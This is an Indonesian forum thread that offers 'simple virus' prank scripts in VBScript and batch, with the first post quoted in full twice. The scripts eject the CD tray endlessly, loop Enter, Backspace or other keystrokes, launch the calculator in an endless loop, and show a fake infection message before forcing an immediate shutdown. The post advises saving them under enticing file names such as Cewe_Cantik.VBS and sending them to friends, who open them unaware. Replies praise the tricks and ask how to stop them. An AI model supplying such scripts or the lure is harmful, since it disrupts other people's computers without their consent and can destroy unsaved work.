Cara Buat Virus Sederhana Buat Isengin Temen.

Isengin pc teman pake script notepad jahil..!


1. Meng-eject Drive CD-Room Terus-Menerus

Code:


    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop


hati2 gan, klo keseringan bisa wafat tu kompie ..

2. Tombol Enter Terus-terusan Aktif

Code:

 Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!

Code:

  WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo ”
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re ”
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? ”
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

5. Iseng Dengan Membuka Calculator Terus Menerus

@

Code:

ECHO off
    :top
    START %SystemRoot%\system32\cacl.exe
    GOTO top

    6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
 
    [code]Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
    loop[/code]


7. Iseng Dengan Shutdown Komputer

Code:

 @echo off
    msg * Komputer Anda Terinfeksi Virus
    shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0


Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!

klo suka lmparin es cendol..

NS Admin wrote:Isengin pc teman pake script notepad jahil..!


1. Meng-eject Drive CD-Room Terus-Menerus

Code:


    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop


hati2 gan, klo keseringan bisa wafat tu kompie ..

2. Tombol Enter Terus-terusan Aktif

Code:

 Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!

Code:

  WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo ”
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re ”
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? ”
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

5. Iseng Dengan Membuka Calculator Terus Menerus

@

Code:

ECHO off
    :top
    START %SystemRoot%\system32\cacl.exe
    GOTO top

    6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
 
    [code]Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
    loop[/code]


7. Iseng Dengan Shutdown Komputer

Code:

 @echo off
    msg * Komputer Anda Terinfeksi Virus
    shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0


Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!

klo suka lmparin es cendol..

ane demen sama yg no 1 gan

mantap! nice post

oke gan...


Thx udah mau Mampir gan ke Forum sedrhana INi.

Gan..
Ajib Nih Buat ngisengin temen .. Apa lagi klw temen msh Awam ..
hahaha

dhani256 wrote: Gan..
Ajib Nih Buat ngisengin temen .. Apa lagi klw temen msh Awam ..
hahaha

oke gan Tapi jangan berlebihan yee...

Nih Gan Ane Ada Tambahan ..

Dico Keyboard .. Lampu Numlock Capslock & Scroll Lock Trus menerus Menyala./Bergantian Mirip kaya Lampu disko:ngakak:

Nih tutornya Gan
Langsung Aja

1. Buka Notepad Dengan Cara KLik Start>All Programs>Accessories>Notepad
2. Copy Kode Dibawah INi kedalam notepad :

Kode Klik Disini:

3. Simpan Notepad Dengan Cara : Klik File>Save As
4. Berinama File Itu Sesukamu COntoh discokeyboard.vbs

Ingat Ekstensi File Itu harus .vbs
Atau Misal Kamu mau Ngasih Nama File Itu Cewe Kamu Tambahin Di Belakangnya .vbs
Lalu PAda Kotak Save As Type : kamu ganti Dengan All files
Lalu Save..

Selamat Anda Berhasil Membuat Virus Dengan Gampang Hanya menggunakan Notepad


INGAT : VIRUS INI TIDAK SAMA SEKALI BERBAHAYA SILAHKAN DI COBA DAN RASAKAN KE ASYIKANNYA HHA

NB : Saran Saya Virus INi Lebih Mantap Untuk Ngerjain Temen YG Masih NewBie Pasti Dya Langsung Panik Ngelihatnya ckckckcck
lol!
Tapi Jgn Panik Untuk menghentikannya Pencet Saja Tombol Reset ../ Di Restart Pcnya

Moga Bermanfaat

Budayakanlah Dengan Mengklik TOMBOL + / Thanks ..


Dan Selamat Mencoba

Oke gan Thx atas tambahan nya..,

Mantab!

cara non aktif x gmana gan??

di RESRtArt gimana gan? bisa gx?